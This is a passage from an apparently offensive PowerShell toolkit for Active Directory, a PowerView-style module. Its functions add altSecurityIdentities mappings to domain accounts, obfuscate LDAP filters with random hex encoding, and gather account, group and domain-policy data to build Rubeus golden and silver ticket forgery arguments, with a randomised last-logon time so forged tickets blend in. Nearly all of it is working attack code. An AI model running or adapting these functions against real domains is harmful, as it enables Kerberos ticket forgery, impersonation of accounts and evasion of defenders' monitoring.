$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Add-DomainAltSecurityIdentity -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
Nothing
|
|
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateSet('Certificate', 'Kerberos')]
|
|
[String]
|
|
$Type = 'Certificate',
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Issuer,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Subject,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Account,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$Searcher = Get-DomainSearcher @SearcherArguments
|
|
$DomainDNArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
|
|
PROCESS {
|
|
$Filter = ''
|
|
if ($Identity) {
|
|
Write-Verbose "[Add-DomainAltSecurityIdentity] Setting provided identities: $Identity"
|
|
$Identity | Get-IdentityFilterString | ForEach-Object {
|
|
$Filter += $_
|
|
}
|
|
}
|
|
|
|
$AltIDString = ''
|
|
if ($PSBoundParameters['Type'] -eq 'Certificate') {
|
|
$DomainDN = Get-DomainDN @DomainDNArguments
|
|
$DomainDNSplit = $DomainDN -split ','
|
|
[array]::Reverse($DomainDNSplit)
|
|
$ReversedDomainDN = $DomainDNSplit -join ','
|
|
|
|
$AltIDString = 'X509:'
|
|
if ($PSBoundParameters['Issuer']) {
|
|
$AltIDString += "<I>$ReversedDomainDN,$Issuer"
|
|
}
|
|
if ($PSBoundParameters['Subject']) {
|
|
$AltIDString += "<S>$ReversedDomainDN,$Subject"
|
|
}
|
|
else {
|
|
Write-Error "[Add-DomainAltSecurityIdentity] Certificate altSecurityIdentity requires a Subject"
|
|
return
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['Account']) {
|
|
$AltIDString = "Kerberos:$Account"
|
|
}
|
|
else {
|
|
Write-Error "[Add-DomainAltSecurityIdentity] A -Type must be set"
|
|
return
|
|
}
|
|
|
|
Write-Verbose "[Add-DomainAltSecurityIdentity] Using Alternate Identity string: $AltIDString"
|
|
|
|
|
|
if ($Filter) {
|
|
$Searcher.filter = "(|$Filter)"
|
|
$Results = $Searcher.FindAll()
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Props = $_.Properties
|
|
if ($Props.keys -contains 'altsecurityidentities') {
|
|
$AltIDs = $Props['altsecurityidentities']
|
|
}
|
|
else {
|
|
$AltIDs = @()
|
|
}
|
|
|
|
$AltIDs += $AltIDString
|
|
|
|
Set-DomainObject $Props['samaccountname'] -Set @{'altsecurityidentities'=$AltIDs}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
function Invoke-LDAPQuery {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Retrieve an LDAP query and return the results in a common format.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies:
|
|
|
|
.DESCRIPTION
|
|
|
|
Retrieve an LDAP query and return the results in a common format.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL to connect to LDAP Server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Automatically obfuscate LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Invoke-LDAPQuery -Domain testlab.local
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.User
|
|
|
|
Custom PSObject with translated user property fields.
|
|
|
|
PowerView.User.Raw
|
|
|
|
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.User')]
|
|
[OutputType('PowerView.User.Raw')]
|
|
Param(
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Obfuscate']) {
|
|
$LDAPFilter = Get-ObfuscatedFilterString -LDAPFilter $LDAPFilter
|
|
}
|
|
if ($PSBoundParameters['SSL']) {
|
|
$MaxResultsToRequest = 1000
|
|
$Results = @()
|
|
$Searcher = Get-DomainSearcher @SearcherArguments -SSL
|
|
|
|
$Request = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest
|
|
$PageRequestControl = New-Object -TypeName System.DirectoryServices.Protocols.PageResultRequestControl -ArgumentList $MaxResultsToRequest
|
|
|
|
# for returning ntsecuritydescriptor
|
|
if ($PSBoundParameters['SecurityMasks']) {
|
|
$SDFlagsControl = New-Object -TypeName System.DirectoryServices.Protocols.SecurityDescriptorFlagControl -ArgumentList $SecurityMasks
|
|
$Request.Controls.Add($SDFlagsControl)
|
|
}
|
|
|
|
if ($PSBoundParameters['SearchBase']) {
|
|
$Request.DistinguishedName = $SearchBase
|
|
}
|
|
else {
|
|
$TargetDomain = $Searcher.SessionOptions.DomainName
|
|
$DomainDN = "DC=$($TargetDomain.Replace('.',',DC='))"
|
|
$Request.DistinguishedName = $DomainDN
|
|
}
|
|
if ($PSBoundParameters['SearchScope']) {
|
|
$Request.Scope = $SearchScope
|
|
}
|
|
$Request.Controls.Add($PageRequestControl)
|
|
if ($LdapFilter -and $LdapFilter -ne '') {
|
|
$Request.Filter = "$LdapFilter"
|
|
}
|
|
|
|
while($true) {
|
|
$Response = $Searcher.SendRequest($Request)
|
|
if ($Response.ResultCode -eq 'Success') {
|
|
foreach ($entry in $response.Entries) {
|
|
$Results += $entry
|
|
if ($PSBoundParameters['FindOne']) {
|
|
break
|
|
}
|
|
}
|
|
}
|
|
if ($PSBoundParameters['FindOne']) {
|
|
break
|
|
}
|
|
|
|
$PageResponseControl = [System.DirectoryServices.Protocols.PageResultResponseControl]$Response.Controls[0]
|
|
if ($PageResponseControl.Cookie.Length -eq 0) {
|
|
break
|
|
}
|
|
$PageRequestControl.Cookie = $PageResponseControl.Cookie
|
|
}
|
|
}
|
|
else {
|
|
$Searcher = Get-DomainSearcher @SearcherArguments
|
|
$Searcher.filter = "$LDAPFilter"
|
|
Write-Verbose "[Invoke-LDAPQuery] filter string: $($Searcher.filter)"
|
|
|
|
if ($PSBoundParameters['FindOne']) { $Results = $Searcher.FindOne() }
|
|
else { $Results = $Searcher.FindAll() }
|
|
}
|
|
$Results
|
|
}
|
|
}
|
|
|
|
function Get-ObfuscatedFilterString {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Randomly obfuscate LDAP filter string with random hex characters.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies:
|
|
|
|
.DESCRIPTION
|
|
|
|
Randomly obfuscate LDAP filter string with random hex characters.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ObfuscatedFilterString -LDAPFilter "(samaccounttype=805306368)"
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('String')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
$LDAPFilter
|
|
)
|
|
|
|
Write-Verbose "[Get-ObfuscatedFilterString] Obfuscating filter string: $($LDAPFilter)"
|
|
$Parts = $LDAPFilter -split '='
|
|
$OutFilter = "$($Parts[0])="
|
|
$Skip = $False
|
|
if ($Parts[0] -match 'userAccountControl') {
|
|
$Skip = $True
|
|
}
|
|
for ($i=1; $i -lt $Parts.Length; $i++) {
|
|
if ($Skip) {
|
|
if ($Parts[$i] -notmatch 'userAccountControl') {
|
|
$Skip = $False
|
|
}
|
|
if ($i -eq $Parts.Length - 1) {
|
|
$OutFilter += "$($Parts[$i])"
|
|
}
|
|
else {
|
|
$OutFilter += "$($Parts[$i])="
|
|
}
|
|
|
|
}
|
|
else {
|
|
if ($Parts[$i].IndexOf(')') -ne -1) {
|
|
$Value = $Parts[$i].SubString(0,$Parts[$i].IndexOf(')'))
|
|
}
|
|
else {
|
|
$Value = $Parts[$i]
|
|
}
|
|
if ($Value.Length -gt 1) {
|
|
$OutValueHash = @{}
|
|
for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length) -Minimum 1); $c++) {
|
|
$Index = Get-Random -Maximum $($Value.Length - 1)
|
|
if (($OutValueHash.keys | Measure-Object).Count -ne 0) {
|
|
if ($OutValueHash.keys -contains $Index) {
|
|
Do
|
|
{
|
|
$Index = Get-Random -Maximum $($Value.Length - 1)
|
|
} While ($OutValueHash.keys -contains $Index)
|
|
}
|
|
}
|
|
$OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index])
|
|
}
|
|
for ($c=0; $c -lt $Value.Length; $c++) {
|
|
if ($OutValueHash.keys -contains $c) {
|
|
$OutFilter += "$($OutValueHash[$c])"
|
|
}
|
|
else {
|
|
$OutFilter += "$($Value[$c])"
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$OutFilter += "$($Value)"
|
|
}
|
|
if ($Parts[$i].IndexOf(')') -ne -1) {
|
|
$Next = $Parts[$i].SubString($Parts[$i].IndexOf(')'))
|
|
if ($i -eq $Parts.Length - 1) {
|
|
$OutFilter += "$($Next)"
|
|
}
|
|
else {
|
|
$OutFilter += "$($Next)="
|
|
}
|
|
if ($Next -match 'userAccountControl') {
|
|
$Skip = $True
|
|
}
|
|
}
|
|
else {
|
|
if (Get-Random -Maximum 2) {
|
|
$OutFilter += "="
|
|
}
|
|
else {
|
|
$OutFilter += '\3d'
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
Write-Verbose "[Get-ObfuscatedFilterString] Filter string obfuscated: $($OutFilter)"
|
|
$OutFilter
|
|
}
|
|
|
|
function Convert-LogonHours {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Convert logonhours LDAP attribute from byte array to readable string.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies:
|
|
|
|
.DESCRIPTION
|
|
|
|
Convert logonhours LDAP attribute from byte array to readable string.
|
|
|
|
.PARAMETER LogonHours
|
|
|
|
Byte array of the users logon hours.
|
|
|
|
.EXAMPLE
|
|
|
|
Convert-LogonHours -LogonHours $LogonHours
|
|
|
|
.INPUTS
|
|
|
|
Byte[]
|
|
|
|
.OUTPUTS
|
|
|
|
PSObject
|
|
#>
|
|
[OutputType([PSObject])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
$LogonHours
|
|
)
|
|
|
|
BEGIN {
|
|
$Days = @{
|
|
0 = "Sunday";
|
|
1 = "Sunday";
|
|
2 = "Sunday";
|
|
3 = "Monday";
|
|
4 = "Monday";
|
|
5 = "Monday";
|
|
6 = "Tuesday";
|
|
7 = "Tuesday";
|
|
8 = "Tuesday";
|
|
9 = "Wednesday";
|
|
10 = "Wednesday";
|
|
11 = "Wednesday";
|
|
12 = "Thursday";
|
|
13 = "Thursday";
|
|
14 = "Thursday";
|
|
15 = "Friday";
|
|
16 = "Friday";
|
|
17 = "Friday";
|
|
18 = "Saturday";
|
|
19 = "Saturday";
|
|
20 = "Saturday";
|
|
}
|
|
|
|
$Hours = @{
|
|
0 = 1;
|
|
1 = 2;
|
|
2 = 4;
|
|
3 = 8;
|
|
4 = 16;
|
|
5 = 32;
|
|
6 = 64;
|
|
7 = 128;
|
|
}
|
|
|
|
$OutObject = New-Object PSObject -Property @{
|
|
"Monday" = @{};
|
|
"Tuesday" = @{};
|
|
"Wednesday" = @{};
|
|
"Thursday" = @{};
|
|
"Friday" = @{};
|
|
"Saturday" = @{};
|
|
"Sunday" = @{};
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
$ByteCounter = 0
|
|
$DayCounter = 0
|
|
|
|
foreach ($byte in $LogonHours) {
|
|
foreach ($bit in $Hours.Keys) {
|
|
$Permitted = $false
|
|
if ($byte -band $Hours[$bit]) {
|
|
$Permitted = $true
|
|
}
|
|
$hour = $ByteCounter * 8 + $bit
|
|
$day = $Days[$DayCounter]
|
|
$OutObject.$day[$hour] = $Permitted
|
|
}
|
|
$ByteCounter += 1
|
|
if ($ByteCounter -eq 3) {
|
|
$ByteCounter = 0
|
|
}
|
|
$DayCounter += 1
|
|
}
|
|
|
|
$OutObject
|
|
}
|
|
}
|
|
|
|
function Get-RubeusForgeryArgs {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver commands.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies:
|
|
|
|
.DESCRIPTION
|
|
|
|
Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver commands.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-RubeusForgeryArgs exploitph
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
#>
|
|
[OutputType('String')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('SamAccountName', 'Name', 'DNSHostName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
$ForestArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
}
|
|
|
|
PROCESS {
|
|
$Filter = ''
|
|
$Identity | Get-IdentityFilterString | ForEach-Object {
|
|
$Filter += $_
|
|
}
|
|
if (-not $Filter -or $Filter -eq '') {
|
|
Write-Error "[Get-RubeusForgeryArgs] Identity argument is required!"
|
|
return
|
|
}
|
|
# get policy objects first
|
|
$DomainPolicy = Get-DomainPolicy -Policy Domain @SearcherArguments
|
|
|
|
|
|
Write-Verbose "[Get-RubeusForgeryArgs] filter string: (|$Filter)"
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(|$Filter)"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$OutArguments = ''
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$Account = Convert-LDAPProperty -Properties $Prop
|
|
$Account.PSObject.TypeNames.Insert(0, 'PowerView.Account')
|
|
|
|
# extract the account id and domain sid
|
|
$AccountID = $Account.objectsid.Substring($Account.objectsid.LastIndexOf('-')+1)
|
|
$DomainSID = $Account.objectsid.Substring(0, $Account.objectsid.LastIndexOf('-'))
|
|
|
|
# get groups
|
|
$GroupFilter = ''
|
|
foreach ($group in $Account.memberof) {
|
|
$GroupFilter += "(distinguishedname=$group)"
|
|
}
|
|
$Groups = @()
|
|
if ($GroupFilter) {
|
|
$GroupFilter = "(|$GroupFilter)"
|
|
Write-Verbose "[Get-RubeusForgeryArgs] filter string: $GroupFilter"
|
|
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$GroupFilter"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$GroupObject = Convert-LDAPProperty -Properties $Prop
|
|
$GroupID = $GroupObject.objectsid.Substring($GroupObject.objectsid.LastIndexOf('-')+1)
|
|
$Groups += $GroupID
|
|
}
|
|
}
|
|
|
|
# get netbios name
|
|
$DomainObject = Get-Domain @ForestArguments
|
|
$Domain = $DomainObject.Name
|
|
$Forest = $DomainObject.Forest
|
|
|
|
$ForestDN = "DC=$($Forest -replace '\.',',DC=')"
|
|
$ConfigDN = "CN=Configuration,$ForestDN"
|
|
$NetbiosFilter = "(&(netbiosname=*)(dnsroot=$Domain))"
|
|
$NetbiosName = (Get-DomainObject -SearchBase "$ConfigDN" -LdapFilter "$NetbiosFilter" @SearcherArguments).netbiosname
|
|
|
|
# get time now for logontime and logofftime
|
|
$Now = Get-Date
|
|
|
|
# we have everything we can start to build the arguments
|
|
$OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())"" /lastlogon:""$($Now.AddSeconds(-$(Get-Random -Maximum 10)).ToString())"""
|
|
if ($Account.useraccountcontrol -ne "NORMAL_ACCOUNT") {
|
|
$OutArguments += " /uac:$($Account.useraccountcontrol -replace ' ','')"
|
|
}
|
|
if ($Groups.Length -gt 0) {
|
|
$OutArguments += " /groups:$($Groups -join ',')"
|
|
}
|
|
if ($Account.scriptpath) {
|
|
$OutArguments += " /scriptpath:""$($Account.scriptpath)"""
|
|
}
|
|
if ($Account.profilepath) {
|
|
$OutArguments += " /profilepath:""$($Account.profilepath)"""
|
|
}
|
|
if ($Account.homedrive) {
|
|
$OutArguments += " /homedrive:""$($Account.homedrive)"""
|
|
}
|
|
if ($Account.homedirectory) {
|
|
$OutArguments += " /homedir:""$($Account.homedirectory)"""
|
|
}
|
|
if ($Account.logonhours) {
|
|
$LogoffTime = Get-LogoffTime -LogonHours $Account.logonhours -LogonTime $Now
|
|
if ($LogoffTime -and $LogoffTime -ne $Now) {
|
|
$OutArguments += " /logofftime:""$($LogoffTime.AddMinutes(-$LogoffTime.Minute).AddSeconds(-$LogoffTime.Second).ToString())"""
|
|
}
|
|
}
|
|
elseif ($LogoffTime -eq $Now) {
|
|
Write-Warning "[Get-RubeusForgeryArgs] User is not allowed to login now!"
|
|
}
|
|
if ($DomainPolicy.SystemAccess.MinimumPasswordAge -gt 0) {
|
|
$OutArguments += " /minpassage:$($DomainPolicy.SystemAccess.MinimumPasswordAge)"
|
|
}
|
|
# only set PasswordMustChange if policy is set to expire password and user isn't configured so password doesn't expire
|
|
if ($DomainPolicy.SystemAccess.MaximumPasswordAge -gt 0 -and $Account.useraccountcontrol -notmatch "DONT_EXPIRE_PASSWORD") {
|
|
$OutArguments += " /maxpassage:$($DomainPolicy.SystemAccess.MaximumPasswordAge)"
|
|
}
|
|
# in Protected Users group with time endtime and renewtill of 240 minutes
|
|
if ($Groups.Contains("525")) {
|
|
$OutArguments += " /endtime:240m /renewtill:240m"
|
|
}
|
|
else {
|
|
if ($DomainPolicy.KerberosPolicy.MaxTicketAge -ne 10) {
|
|
$OutArguments += " /endtime:$($DomainPolicy.KerberosPolicy.MaxTicketAge)h"
|
|
}
|
|
if ($DomainPolicy.KerberosPolicy.MaxRenewAge -ne 7) {
|
|
$OutArguments += " /renewtill:$($DomainPolicy.KerberosPolicy.MaxRenewAge)d"
|
|
}
|
|
}
|
|
|
|
$OutArguments
|
|
}
|
|
}
|
|
}
|
|
|
|
function Get-LogoffTime {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Calculate the proper logoff time for a user given the logonhours field and the current time.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies:
|
|
|
|
.DESCRIPTION
|
|
|
|
Calculate the proper logoff time for a user given the logonhours field and the current time.
|
|
|
|
.PARAMETER LogonHours
|
|
|
|
Logon hours object output by Convert-LogonHours
|
|
|
|
.PARAMETER LogonTime
|
|
|
|
Logon time for ticket
|
|
|
|
.EXAMPLE
|
|
|
|
Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date)
|
|
|
|
.INPUTS
|
|
|
|
PSObject
|
|
|
|
.OUTPUTS
|
|
|
|
DateTime
|
|
#>
|
|
[OutputType([DateTime])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[ValidateNotNullOrEmpty()]
